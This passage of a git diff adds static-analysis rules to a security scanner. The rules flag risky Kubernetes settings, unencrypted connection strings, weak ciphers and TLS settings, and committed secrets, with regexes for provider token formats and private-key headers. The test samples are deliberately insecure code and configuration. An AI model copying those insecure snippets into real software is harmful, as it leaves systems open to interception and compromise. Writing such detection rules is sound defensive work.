"/spec/jobTemplate/spec/template/spec/initContainers/*/securityContext/allowPrivilegeEscalation" + ], + "pattern": "true", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "apiVersion", + "type": "substring", + "scopes": [ + "code" + ] + }, + "negate_finding": false, + "search_in": "same-file" + } + ], + "must-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n containers:\n - name: app\n securityContext:\n allowPrivilegeEscalation: true\n" + ], + "must-not-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n containers:\n - name: app\n securityContext:\n allowPrivilegeEscalation: false\n" + ] + }, + { + "name": "Kubernetes pod shares a host namespace", + "id": "DS200002", + "description": "hostPID, hostIPC or hostNetwork is enabled. Sharing a host namespace lets the container inspect host processes through /proc, attach to host shared memory, or observe host network traffic. All three are disallowed by the Baseline and Restricted Pod Security Standards.", + "recommendation": "Remove the setting. If a node-level agent genuinely requires it, isolate that workload to a dedicated node pool.", + "applies_to": [ + "yaml" + ], + "tags": [ + "Container.Kubernetes" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS200002.md", + "patterns": [ + { + "ymlpaths": [ + "/spec/hostPID", + "/spec/template/spec/hostPID", + "/spec/jobTemplate/spec/template/spec/hostPID", + "/spec/hostIPC", + "/spec/template/spec/hostIPC", + "/spec/jobTemplate/spec/template/spec/hostIPC", + "/spec/hostNetwork", + "/spec/template/spec/hostNetwork", + "/spec/jobTemplate/spec/template/spec/hostNetwork" + ], + "pattern": "true", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "apiVersion", + "type": "substring", + "scopes": [ + "code" + ] + }, + "negate_finding": false, + "search_in": "same-file" + } + ], + "must-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n hostPID: true\n", + "apiVersion: v1\nkind: Pod\nspec:\n hostNetwork: true\n" + ], + "must-not-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n hostPID: false\n" + ] + }, + { + "name": "Kubernetes container root filesystem is writable", + "id": "DS200003", + "description": "readOnlyRootFilesystem is explicitly false, so an attacker who achieves execution can modify the container image at runtime, for example by replacing a binary on the PATH.", + "recommendation": "Set readOnlyRootFilesystem: true and mount an emptyDir or a volume for the paths that must be writable.", + "applies_to": [ + "yaml" + ], + "tags": [ + "Container.Kubernetes" + ], + "confidence": "high", + "severity": "moderate", + "rule_info": "DS200003.md", + "patterns": [ + { + "ymlpaths": [ + "/spec/containers/*/securityContext/readOnlyRootFilesystem", + "/spec/initContainers/*/securityContext/readOnlyRootFilesystem", + "/spec/template/spec/containers/*/securityContext/readOnlyRootFilesystem", + "/spec/template/spec/initContainers/*/securityContext/readOnlyRootFilesystem", + "/spec/jobTemplate/spec/template/spec/containers/*/securityContext/readOnlyRootFilesystem", + "/spec/jobTemplate/spec/template/spec/initContainers/*/securityContext/readOnlyRootFilesystem" + ], + "pattern": "false", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "apiVersion", + "type": "substring", + "scopes": [ + "code" + ] + }, + "negate_finding": false, + "search_in": "same-file" + } + ], + "must-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n containers:\n - name: app\n securityContext:\n readOnlyRootFilesystem: false\n" + ], + "must-not-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n containers:\n - name: app\n securityContext:\n readOnlyRootFilesystem: true\n" + ] + }, + { + "name": "Kubernetes container may run as root", + "id": "DS200004", + "description": "runAsNonRoot is explicitly false, which permits the container to run as uid 0. The requirement states containers must run as a non-root user, and gives 10001 as the default uid and gid.", + "recommendation": "Set runAsNonRoot: true and give runAsUser a high, non-zero uid such as 10001.", + "applies_to": [ + "yaml" + ], + "tags": [ + "Container.Kubernetes" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS200004.md", + "patterns": [ + { + "ymlpaths": [ + "/spec/containers/*/securityContext/runAsNonRoot", + "/spec/initContainers/*/securityContext/runAsNonRoot", + "/spec/template/spec/containers/*/securityContext/runAsNonRoot", + "/spec/template/spec/initContainers/*/securityContext/runAsNonRoot", + "/spec/jobTemplate/spec/template/spec/containers/*/securityContext/runAsNonRoot", + "/spec/jobTemplate/spec/template/spec/initContainers/*/securityContext/runAsNonRoot", + "/spec/securityContext/runAsNonRoot", + "/spec/template/spec/securityContext/runAsNonRoot", + "/spec/jobTemplate/spec/template/spec/securityContext/runAsNonRoot" + ], + "pattern": "false", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "apiVersion", + "type": "substring", + "scopes": [ + "code" + ] + }, + "negate_finding": false, + "search_in": "same-file" + } + ], + "must-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n containers:\n - name: app\n securityContext:\n runAsNonRoot: false\n" + ], + "must-not-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n containers:\n - name: app\n securityContext:\n runAsNonRoot: true\n" + ] + }, + { + "name": "Kubernetes container image is unpinned", + "id": "DS200005", + "description": "The image tag is latest, or no tag is given, so the image that runs is whatever the registry resolves at pull time. That defeats the verified-image requirement and makes a deployment unreproducible.", + "recommendation": "Pin the image by digest, for example image: contoso/app@sha256:..., or at minimum to an immutable version tag.", + "applies_to": [ + "yaml" + ], + "tags": [ + "Container.Kubernetes" + ], + "confidence": "medium", + "severity": "moderate", + "rule_info": "DS200005.md", + "patterns": [ + { + "ymlpaths": [ + "/spec/containers/*/image", + "/spec/initContainers/*/image", + "/spec/template/spec/containers/*/image", + "/spec/template/spec/initContainers/*/image", + "/spec/jobTemplate/spec/template/spec/containers/*/image", + "/spec/jobTemplate/spec/template/spec/initContainers/*/image" + ], + "pattern": "^([^@:\\s]+|[^@\\s]*:latest)$", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "apiVersion", + "type": "substring", + "scopes": [ + "code" + ] + }, + "negate_finding": false, + "search_in": "same-file" + } + ], + "must-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n containers:\n - name: app\n image: contoso/app:latest\n", + "apiVersion: v1\nkind: Pod\nspec:\n containers:\n - name: app\n image: contoso/app\n" + ], + "must-not-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n containers:\n - name: app\n image: contoso/app@sha256:0123456789abcdef\n", + "apiVersion: v1\nkind: Pod\nspec:\n containers:\n - name: app\n image: contoso/app:1.2.3\n" + ] + }, + { + "name": "Kubernetes container adds a dangerous capability", + "id": "DS200006", + "description": "SYS_ADMIN grants a large fraction of root's powers, and SYS_PTRACE allows attaching to and reading the memory of other processes. The requirement calls for both to be dropped.", + "recommendation": "Drop ALL capabilities and add back only the minimum the workload needs.", + "applies_to": [ + "yaml" + ], + "tags": [ + "Container.Kubernetes" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS200006.md", + "patterns": [ + { + "ymlpaths": [ + "/spec/containers/*/securityContext/capabilities/add/*", + "/spec/initContainers/*/securityContext/capabilities/add/*", + "/spec/template/spec/containers/*/securityContext/capabilities/add/*", + "/spec/template/spec/initContainers/*/securityContext/capabilities/add/*", + "/spec/jobTemplate/spec/template/spec/containers/*/securityContext/capabilities/add/*", + "/spec/jobTemplate/spec/template/spec/initContainers/*/securityContext/capabilities/add/*" + ], + "pattern": "(SYS_ADMIN|SYS_PTRACE|SYS_MODULE|NET_RAW|ALL)", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "apiVersion", + "type": "substring", + "scopes": [ + "code" + ] + }, + "negate_finding": false, + "search_in": "same-file" + } + ], + "must-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n containers:\n - name: app\n securityContext:\n capabilities:\n add:\n - SYS_ADMIN\n" + ], + "must-not-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n containers:\n - name: app\n securityContext:\n capabilities:\n drop:\n - ALL\n" + ] + }, + { + "name": "Kubernetes pod mounts a host path", + "id": "DS200007", + "description": "A hostPath volume mounts a file or directory from the node into the pod, which bypasses container isolation. Writing to it can affect other pods or persist on the node.", + "recommendation": "Use a ConfigMap, Secret, emptyDir or PersistentVolumeClaim. Where a host path is unavoidable, restrict it with an allowed-paths policy.", + "applies_to": [ + "yaml" + ], + "tags": [ + "Container.Kubernetes" + ], + "confidence": "high", + "severity": "ManualReview", + "rule_info": "DS200007.md", + "patterns": [ + { + "ymlpaths": [ + "/spec/volumes/*/hostPath/path", + "/spec/template/spec/volumes/*/hostPath/path", + "/spec/jobTemplate/spec/template/spec/volumes/*/hostPath/path" + ], + "pattern": "^.+$", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "conditions": [ + { + "pattern": { + "pattern": "apiVersion", + "type": "substring", + "scopes": [ + "code" + ] + }, + "negate_finding": false, + "search_in": "same-file" + } + ], + "must-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n volumes:\n - name: hostvol\n hostPath:\n path: /var/log\n" + ], + "must-not-match": [ + "apiVersion: v1\nkind: Pod\nspec:\n volumes:\n - name: cfg\n configMap:\n name: app-config\n" + ] + } +] diff --git a/rules/default/security/control_flow/format_string.json b/rules/default/security/control_flow/format_string.json index 6cf03153..5e246497 100644 --- a/rules/default/security/control_flow/format_string.json +++ b/rules/default/security/control_flow/format_string.json @@ -21,7 +21,7 @@ "scopes": [ "code" ] - } + } ], "fix_its": [ { @@ -36,6 +36,12 @@ ] } } + ], + "must-match": [ + "NSString *msg = [NSString stringWithFormat:userInput];" + ], + "must-not-match": [ + "NSString *msg = [NSString stringWithFormat:@\"%@\", userInput];" ] } ] diff --git a/rules/default/security/cryptography/certificate.json b/rules/default/security/cryptography/certificate.json index f7ce6786..0be48398 100644 --- a/rules/default/security/cryptography/certificate.json +++ b/rules/default/security/cryptography/certificate.json @@ -104,8 +104,7 @@ "must-match": [ "http.verify_mode = OpenSSL::SSL::VERIFY_NONE" ], - "must-not-match": [ - ] + "must-not-match": [] }, { "name": "Disabled certificate validation", @@ -257,8 +256,7 @@ "must-match": [ "" ], - "must-not-match": [ - ] + "must-not-match": [] }, { "name": "Disabled certificate validation", @@ -266,7 +264,8 @@ "description": "Extend default certificate validation, but do not disable or override default rules.", "recommendation": "Always use a valid certificate, even during testing.", "applies_to": [ - "javascript" + "javascript", + "javascriptreact" ], "tags": [ "Cryptography.Certificate.Validation" @@ -366,8 +365,7 @@ ], "conditions": [ { - "pattern" : - { + "pattern": { "pattern": "requests.", "type": "substring", "scopes": [ @@ -483,15 +481,13 @@ "code" ] } - ], "must-match": [ "@kubectl config --kubeconfig=config/development set-cluster scratch --server=https://5.6.7.8 --insecure-skip-tls-verify", "@kubectl config --kubeconfig=config/development set-cluster scratch --server=https://5.6.7.8 --insecure-skip-tls-verify=true" - ], "must-not-match": [ "@kubectl config --kubeconfig=config/development set-cluster scratch --server=https://5.6.7.8 --insecure-skip-tls-verify=false" ] } -] \ No newline at end of file +] diff --git a/rules/default/security/cryptography/ciphers.json b/rules/default/security/cryptography/ciphers.json index 5e526983..33b98699 100644 --- a/rules/default/security/cryptography/ciphers.json +++ b/rules/default/security/cryptography/ciphers.json @@ -25,8 +25,7 @@ "must-match": [ "$size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);\n" ], - "must-not-match": [ - ] + "must-not-match": [] }, { "name": "Do not use the 3DES symmetric block cipher.", @@ -72,7 +71,6 @@ ], "must-match": [ "var tDESalg = new TripleDESCryptoServiceProvider();" - ], "must-not-match": [ "var aesalg = new AESCryptoServiceProvider();" @@ -83,8 +81,7 @@ "id": "DS106863", "description": "The DES cipher was found, which is widely considered to be broken.", "recommendation": "Use AES instead.", - "applies_to": [ - ], + "applies_to": [], "tags": [ "Cryptography.Symmetric.WeakOrBrokenAlgorithm" ], @@ -174,7 +171,8 @@ "description": "The DES cipher was found, which is widely considered to be broken.", "recommendation": "Use AES instead.", "applies_to": [ - "javascript" + "javascript", + "javascriptreact" ], "tags": [ "Cryptography.Symmetric.WeakOrBrokenAlgorithm.DES" @@ -205,6 +203,12 @@ "_comment": "" } } + ], + "must-match": [ + "const cipher = crypto.createCipheriv('DES-CBC', key, iv);" + ], + "must-not-match": [ + "const cipher = crypto.createCipheriv('aes-256-gcm', key, iv);" ] }, { @@ -251,7 +255,7 @@ "must-not-match": [ "cipher = new AESEngine();" ] - }, + }, { "name": "Do not use the RC2 symmetric block cipher.", "id": "DS156431", @@ -298,4 +302,4 @@ "using (var myaes = new AESCryptoServiceProvider())\n" ] } -] \ No newline at end of file +] diff --git a/rules/default/security/cryptography/connection_strings.json b/rules/default/security/cryptography/connection_strings.json new file mode 100644 index 00000000..e13f61c8 --- /dev/null +++ b/rules/default/security/cryptography/connection_strings.json @@ -0,0 +1,52 @@ +[ + { + "name": "Encryption marked optional", + "id": "DS114352", + "description": "The connection string leaves transport encryption optional or disables certificate validation. Encrypt=False sends credentials and data in the clear, and TrustServerCertificate=True encrypts but accepts any certificate, so the connection is not authenticated and can be intercepted. The PostgreSQL and MySQL modes prefer, allow and disable all fall back to plaintext without error.", + "recommendation": "Require encryption and validate the certificate: Encrypt=True with TrustServerCertificate=False, or sslmode=verify-full.", + "applies_to": [ + "json", + "xml", + ".config", + "csharp", + "vb", + "fsharp", + "python", + "java", + "javascript", + "typescript", + "php", + "go", + "ruby", + "yaml", + "dotenv", + "powershell", + "shellscript" + ], + "tags": [ + "Cryptography.Protocol.TLS" + ], + "confidence": "high", + "severity": "important", + "rule_info": "DS114352.md", + "patterns": [ + { + "pattern": "(Encrypt\\s*=\\s*(False|false|no|0)\\b|TrustServerCertificate\\s*=\\s*(True|true|yes|1)\\b|sslmode\\s*=\\s*(prefer|allow|disable)\\b|SslMode\\s*=\\s*(Preferred|None)\\b|useSSL\\s*=\\s*false\\b)", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "{\n \"ConnectionStrings\": {\n \"Default\": \"Server=db;Database=app;Encrypt=False;\"\n }\n}", + "{\n \"ConnectionStrings\": {\n \"Pg\": \"Host=db;Username=u;sslmode=prefer\"\n }\n}", + "", + "var cs = \"Server=db;Database=app;TrustServerCertificate=True;\";", + "DATABASE_URL=postgres://u:p@db/app?sslmode=disable" + ], + "must-not-match": [ + "{\n \"ConnectionStrings\": {\n \"Default\": \"Server=db;Database=app;Encrypt=True;TrustServerCertificate=False;\"\n }\n}" + ] + } +] diff --git a/rules/default/security/cryptography/hardcoded_tls.json b/rules/default/security/cryptography/hardcoded_tls.json index 938a870f..dc7753bc 100644 --- a/rules/default/security/cryptography/hardcoded_tls.json +++ b/rules/default/security/cryptography/hardcoded_tls.json @@ -18,7 +18,7 @@ "SecurityProtocolType.Tls11" ], "must-not-match": [ - "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCg==", + "LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCg==", "curl --tlsv1.3", "axolotls" ], @@ -29,39 +29,39 @@ "scopes": [ "code" ], - "modifiers" : ["i"], + "modifiers": [ + "i" + ], "_comment": "Generic reference to a SSL/TLS version" } ], - "conditions" : [ - { - "pattern" : + "conditions": [ { - "pattern": "--tlsv1.3", - "type": "substring", - "scopes": [ - "code" - ], - "_comment": "The --tlsv1.3 argument for Curl sets a minimum version, not a specific version" + "pattern": { + "pattern": "--tlsv1.3", + "type": "substring", + "scopes": [ + "code" + ], + "_comment": "The --tlsv1.3 argument for Curl sets a minimum version, not a specific version" + }, + "negate_finding": true, + "search_in": "same-line" }, - "negate_finding": true, - "search_in": "same-line" - }, - { - "pattern" : { - "pattern": "LS0tLS", - "type": "substring", - "scopes": [ - "code" - ], - "_comment": "A base 64 encoded cert will start with `LS0tLS`" - }, - "negate_finding": true, - "search_in": "same-line" - } + "pattern": { + "pattern": "LS0tLS", + "type": "substring", + "scopes": [ + "code" + ], + "_comment": "A base 64 encoded cert will start with `LS0tLS`" + }, + "negate_finding": true, + "search_in": "same-line" + } ] - }, + }, { "name": "OpenSSL: Do not hardcode SSL/TLS versions within an application.", "id": "DS440010", @@ -134,11 +134,23 @@ ], "_comment": "OpenSSL constants" } + ], + "must-match": [ + "const SSL_METHOD *m = SSLv23_method();", + "SSL_stateless(ssl);", + "SSL_CTX_set_min_proto_version(ctx, TLS1_VERSION);", + "options |= SSL_EXT_TLS_ONLY;", + "options |= SSL_OP_NO_TLSv1_1;", + "options |= SSL_OP_NO_COMPRESSION;", + "SSL_CTX_set_cipher_list(ctx, \"DHE_RSA_AES128_SHA\");" + ], + "must-not-match": [ + "SSL *ssl = SSL_new(ctx);" ] }, { "name": "OpenSSL: Do not hardcode SSL/TLS versions within an application.", - "id": "DS440011", + "id": "DS440017", "description": "SSL/TLS version usage should be based on an OS or external configuration.", "recommendation": "", "does_not_apply_to": [ @@ -156,20 +168,23 @@ { "pattern": "(AES|DH|DHE|ADH|CAMELLIA|EDH|EXP|DES|IDEA|RC4|NULL|GOST|EXP|ECDH|ECDHE|AECDH|PSK)[A-Z0-9\\-]+-?(SHA|MD|GOST)[A-Z0-9\\-]*", "type": "regex", - "modifiers":[ "i" ], + "modifiers": [ + "i" + ], "scopes": [ "code" ], "_comment": "OpenSSL external call" } ], - "conditions" : [ + "conditions": [ { - "pattern" : - { + "pattern": { "pattern": "openssl", "type": "regex", - "modifiers":[ "i" ], + "modifiers": [ + "i" + ], "scopes": [ "code" ] @@ -177,6 +192,12 @@ "negate_finding": false, "search_in": "finding-region(-5, 5)" } + ], + "must-match": [ + "const char *engine = \"openssl\";\nSSL_CTX_set_cipher_list(ctx, \"AES256-SHA256\");" + ], + "must-not-match": [ + "SSL_CTX_set_ciphersuites(ctx, \"TLS_AES_256_GCM_SHA384\");" ] }, { @@ -204,6 +225,13 @@ "code" ] } + ], + "must-match": [ + "ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls11;", + "var opts = SslProtocols.Tls;" + ], + "must-not-match": [ + "var client = new HttpClient();" ] }, { @@ -229,10 +257,9 @@ ] } ], - "conditions" : [ + "conditions": [ { - "pattern" : - { + "pattern": { "pattern": ".min_protocol_version\\s*\\(\\s*Some\\(\\s*Protocol::Tlsv1[2-9]\\s*\\)\\s*\\)", "type": "regex", "scopes": [ @@ -244,36 +271,16 @@ "search_in": "finding-region(0, 1)" } ], - "must-match" : [ + "must-match": [ "let acceptor = native_tls::TlsAcceptor::builder(identity);", "let acceptor = native_tls::TlsAcceptor::builder(identity)\n\t.min_protocol_version(Some(Protocol::Tlsv10))\n\t.build()?;", "let acceptor = native_tls::TlsAcceptor::builder(identity)\n\t.min_protocol_version(Some(Protocol::Tlsv11))\n\t.build()?;" ], - "must-not-match" : [ + "must-not-match": [ "let acceptor = native_tls::TlsAcceptor::builder(identity)\n\t.min_protocol_version(Some(Protocol::Tlsv12))\n\t.build()?;", "let acceptor = native_tls::TlsAcceptor::builder(identity)\n\t.min_protocol_version(Some(Protocol::Tlsv13))\n\t.build()?;" ] }, - { - "name": "Node- Do not hardcode TLS protocol versions.", - "id": "DS440060", - "description": "Node- Do not hardcode TLS protocol versions.", - "recommendation": "", - "applies_to": [ - "javascript", - "typescript" - ], - "tags": [ - "Cryptography.Protocol.TLS.Hardcoded" - ], - "severity": "critical", - "_comment": "These rules are all encompassed by DS440000 and DS440010.", - "rule_info": "DS440000.md", - "patterns": [ - ], - "fix_its": [ - ] - }, { "name": "Python- Do not hardcode TLS protocol versions.", "id": "DS440070", @@ -304,7 +311,13 @@ ] } ], - "fix_its": [ + "fix_its": [], + "must-match": [ + "context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_1)", + "conn = http.client.HTTPSConnection(host, ssl_version=ssl.PROTOCOL_SSLv3)" + ], + "must-not-match": [ + "context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)" ] }, { @@ -312,7 +325,9 @@ "id": "DS440071", "description": "Win32- Do not hardcode TLS protocol versions.", "recommendation": "", - "overrides": ["DS440000"], + "overrides": [ + "DS440000" + ], "applies_to": [ "c", "cpp", @@ -334,8 +349,12 @@ ] } ], - "fix_its": [ + "fix_its": [], + "must-match": [ + "cred.grbitEnabledProtocols = SP_PROT_SSL3_SERVER;" + ], + "must-not-match": [ + "cred.grbitEnabledProtocols = 0;" ] - } + } ] - diff --git a/rules/default/security/cryptography/random.json b/rules/default/security/cryptography/random.json index 9ff37d93..ad39da5f 100644 --- a/rules/default/security/cryptography/random.json +++ b/rules/default/security/cryptography/random.json @@ -15,7 +15,9 @@ "php", "java", "javascript", - "typescript" + "typescript", + "javascriptreact", + "typescriptreact" ], "confidence": "high", "severity": "important", @@ -132,6 +134,14 @@ "code" ] } + ], + "must-match": [ + "let mut rng = StdRng::seed_from_u64(42);", + "let x = fastrand::u32(..);", + "let mut r = oorandom::Rand32::new(0);" + ], + "must-not-match": [ + "let mut rng = OsRng;" ] }, { @@ -160,6 +170,13 @@ "code" ] } + ], + "must-match": [ + "curve = DUAL_EC_DRBG;", + "int seed = 32969;" + ], + "must-not-match": [ + "curve = SECP256R1;" ] }, { @@ -193,4 +210,4 @@ "srand(time(NULL)) " ] } -] \ No newline at end of file +] diff --git a/rules/default/security/frameworks/android.json b/rules/default/security/frameworks/android.json index 2fdc1edf..b3aae678 100644 --- a/rules/default/security/frameworks/android.json +++ b/rules/default/security/frameworks/android.json @@ -15,9 +15,8 @@ "rule_info": "DS180000.md", "patterns": [ { - "xpaths": ["//default:application/@android:debuggable"], + "xpaths": ["//application/@android:debuggable"], "xpathnamespaces": { - "default": "http://maven.apache.org/POM/4.0.0", "android": "http://schemas.android.com/apk/res/android" }, "pattern": "true", @@ -44,10 +43,11 @@ } ], "must-match": [ - "" + "" ], "must-not-match": [ - "" + "", + "" ] }, { @@ -63,7 +63,7 @@ ], "confidence": "high", "severity": "ManualReview", - "rule_info": "DS180000.md", + "rule_info": "DS180001.md", "patterns": [ { "pattern": "setWebContentsDebuggingEnabled\\(true\\)", @@ -109,7 +109,7 @@ ], "confidence": "high", "severity": "ManualReview", - "rule_info": "DS180001.md", + "rule_info": "DS180002.md", "patterns": [ { "pattern": "StrictMode.setThreadPolicy(", diff --git a/rules/default/security/frameworks/dotnet_framework.json b/rules/default/security/frameworks/dotnet_framework.json index a63449a5..3d898c2e 100644 --- a/rules/default/security/frameworks/dotnet_framework.json +++ b/rules/default/security/frameworks/dotnet_framework.json @@ -139,7 +139,7 @@ "Framework.NET" ], "confidence": "high", - "severity": "manualreview", + "severity": "ManualReview", "rule_info": "DS450003.md", "patterns": [ { diff --git a/rules/default/security/manualreview/dynamiccode.json b/rules/default/security/manualreview/dynamiccode.json index 207e094b..13613983 100644 --- a/rules/default/security/manualreview/dynamiccode.json +++ b/rules/default/security/manualreview/dynamiccode.json @@ -8,7 +8,9 @@ "python", "javascript", "typescript", - "php" + "php", + "javascriptreact", + "typescriptreact" ], "tags": [ "Python.DangerousFunctionCall", @@ -31,8 +33,7 @@ "must-match": [ "c = eval(a+b)" ], - "must-not-match": [ - ] + "must-not-match": [] }, { "name": "Review setTimeout for untrusted data", @@ -41,7 +42,9 @@ "recommendation": "Edit the setTimeout so that no untrusted data is included. If untrusted data is absolutely necessary a great deal of care should be taken to ensure it is properly escaped so that it cannot be executed. This is not as simple as just escaping quotes.", "applies_to": [ "javascript", - "typescript" + "typescript", + "javascriptreact", + "typescriptreact" ], "tags": [ "JavaScript.DangerousFunctionCall", @@ -62,8 +65,7 @@ "must-match": [ "setTimeout(500);" ], - "must-not-match": [ - ] + "must-not-match": [] }, { "name": "Review unsafe code", @@ -92,7 +94,6 @@ "must-match": [ " unsafe static void Main()\n" ], - "must-not-match": [ - ] + "must-not-match": [] } ] diff --git a/rules/default/security/privacy/secrets.json b/rules/default/security/privacy/secrets.json index ed44c865..dfeaa3cf 100644 --- a/rules/default/security/privacy/secrets.json +++ b/rules/default/security/privacy/secrets.json @@ -46,7 +46,9 @@ "pattern": { "pattern": "[\"']0+[\"']", "type": "regex", - "scopes": ["code"] + "scopes": [ + "code" + ] }, "negate_finding": true, "search_in": "finding-only" @@ -88,5 +90,148 @@ "var key = '121212121212121212121212121212'" ], "must-not-match": [] + }, + { + "name": "Private key material committed to source", + "id": "DS173238", + "description": "A PEM-encoded private key block is present in source. A private key in a repository must be treated as compromised: it is readable by everyone with repository access, it persists in git history after deletion, and it is copied to every clone and fork.", + "recommendation": "Remove the key, rotate it, and load the replacement from Key Vault or the platform certificate store at runtime.", + "tags": [ + "Cryptography.KeyManagement" + ], + "confidence": "high", + "severity": "critical", + "rule_info": "DS173238.md", + "patterns": [ + { + "pattern": "-----BEGIN\\s+((RSA|DSA|EC|OPENSSH|PGP|ENCRYPTED)\\s+)?PRIVATE KEY( BLOCK)?-----", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "-----BEGIN RSA PRIVATE KEY-----", + "-----BEGIN OPENSSH PRIVATE KEY-----", + "-----BEGIN PRIVATE KEY-----" + ], + "must-not-match": [ + "-----BEGIN PUBLIC KEY-----", + "-----BEGIN CERTIFICATE-----" + ] + }, + { + "name": "Provider access token committed to source", + "id": "DS173239", + "description": "A token matching a well-known provider format is present in source. These prefixes are assigned by the issuing provider and are not produced by ordinary code, so a match is almost always a live credential.", + "recommendation": "Remove and rotate the token immediately, then obtain credentials at runtime from Key Vault or a managed identity.", + "tags": [ + "Authentication.Token" + ], + "confidence": "high", + "severity": "critical", + "rule_info": "DS173239.md", + "patterns": [ + { + "pattern": "(gh[pousr]_[A-Za-z0-9]{36,}|github_pat_[A-Za-z0-9_]{60,})", + "type": "regex", + "scopes": [ + "code" + ] + }, + { + "pattern": "AKIA[0-9A-Z]{16}", + "type": "regex", + "scopes": [ + "code" + ] + }, + { + "pattern": "AIza[0-9A-Za-z_\\-]{35}", + "type": "regex", + "scopes": [ + "code" + ] + }, + { + "pattern": "xox[abprs]-[0-9A-Za-z-]{10,}", + "type": "regex", + "scopes": [ + "code" + ] + }, + { + "pattern": "(sk|rk)_live_[0-9A-Za-z]{16,}", + "type": "regex", + "scopes": [ + "code" + ] + }, + { + "pattern": "npm_[A-Za-z0-9]{36}", + "type": "regex", + "scopes": [ + "code" + ] + }, + { + "pattern": "SG\\.[A-Za-z0-9_\\-]{22}\\.[A-Za-z0-9_\\-]{43}", + "type": "regex", + "scopes": [ + "code" + ] + }, + { + "pattern": "glpat-[A-Za-z0-9_\\-]{20}", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "const token = \"ghp_EXAMPLENOTAREALTOKENAAAAAAAAAAAAAAAA\";", + "aws_access_key_id = AKIAIOSFODNN7EXAMPLE", + "slack_token = \"xoxb-EXAMPLE-NOT-A-REAL-TOKEN\";" + ], + "must-not-match": [ + "const token = process.env.GITHUB_TOKEN;", + "var credential = new DefaultAzureCredential();" + ] + }, + { + "name": "Azure storage account key committed to source", + "id": "DS173240", + "description": "An Azure Storage connection string containing AccountKey, or a shared access signature, is present in source. An account key grants full control of the storage account, including deleting every container, and it cannot be scoped or revoked individually without rotating the whole account.", + "recommendation": "Use a managed identity with DefaultAzureCredential. Where a key is unavoidable, store it in Key Vault and read it at runtime.", + "tags": [ + "Authentication.Token" + ], + "confidence": "high", + "severity": "critical", + "rule_info": "DS173240.md", + "patterns": [ + { + "pattern": "AccountKey\\s*=\\s*[A-Za-z0-9+/]{64,}={0,2}", + "type": "regex", + "scopes": [ + "code" + ] + }, + { + "pattern": "(SharedAccessSignature|sig=)[A-Za-z0-9%+/]{40,}", + "type": "regex", + "scopes": [ + "code" + ] + } + ], + "must-match": [ + "DefaultEndpointsProtocol=https;AccountName=demo;AccountKey=YWJjZGVmZ2hpamtsbW5vcHFyc3R1dnd4eXphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejEyMzQ1Ng==;" + ], + "must-not-match": [ + "var client = new BlobServiceClient(uri, new DefaultAzureCredential());" + ] } ] diff --git a/rules/default/security/storage/secure_storage.json b/rules/default/security/storage/secure_storage.json index 4ce047b9..816f2917 100644 --- a/rules/default/security/storage/secure_storage.json +++ b/rules/default/security/storage/secure_storage.json @@ -41,8 +41,7 @@ "must-match": [ "ProtectedData.Protect(data ,null, DataProtectionScope.CurrentUser)" ], - "must-not-match": [ - ] + "must-not-match": [] }, { "name": "Do not store sensitive data in NSUserDefaults.", @@ -60,12 +59,18 @@ "rule_info": "DS191340.md", "patterns": [ { - "pattern": "NSUserDefaults \\*(.*) = \\[NSUserDefaults standardUserDefaults\\];(\\n.*){1,5}$1 .*setString:(password|key)", + "pattern": "NSUserDefaults \\*(.*) = \\[NSUserDefaults standardUserDefaults\\];(\\n.*){1,5}\\1 .*setString:(password|key)", "type": "regex", "scopes": [ "code" ] } + ], + "must-match": [ + "NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];\n[defaults setString:password forKey:@\"pw\"];" + ], + "must-not-match": [ + "[[A2Keychain sharedKeychain] setString:password forKey:@\"pw\"];" ] } -] \ No newline at end of file +] diff --git a/rules/default/security/supplychain/package_sources.json b/rules/default/security/supplychain/package_sources.json new file mode 100644 index 00000000..2c259e66 --- /dev/null +++ b/rules/default/security/supplychain/package_sources.json @@ -0,0 +1,84 @@ +[ + { + "name": "Package source is not restricted to an approved feed", + "id": "DS205000", + "description": "ADM.10205 requires dependencies to be retrieved only from approved repositories, and recommends a single internal source because package managers behave inconsistently when several are configured. This file declares package sources without a element, so the sources here are added to any inherited from a machine or user level NuGet.config rather than replacing them.", + "recommendation": "Add as the first child of so that only the sources declared in this file are used.", + "applies_to": [ + ".config", + "xml" + ], + "tags": [ + "SupplyChain.PackageSource" + ], + "confidence": "medium", + "severity": "important", + "rule_info": "DS205000.md", + "patterns": [ + { + "xpaths": [ + "/configuration/packageSources/add/@key" + ], + "pattern": "^.+$", + "type": 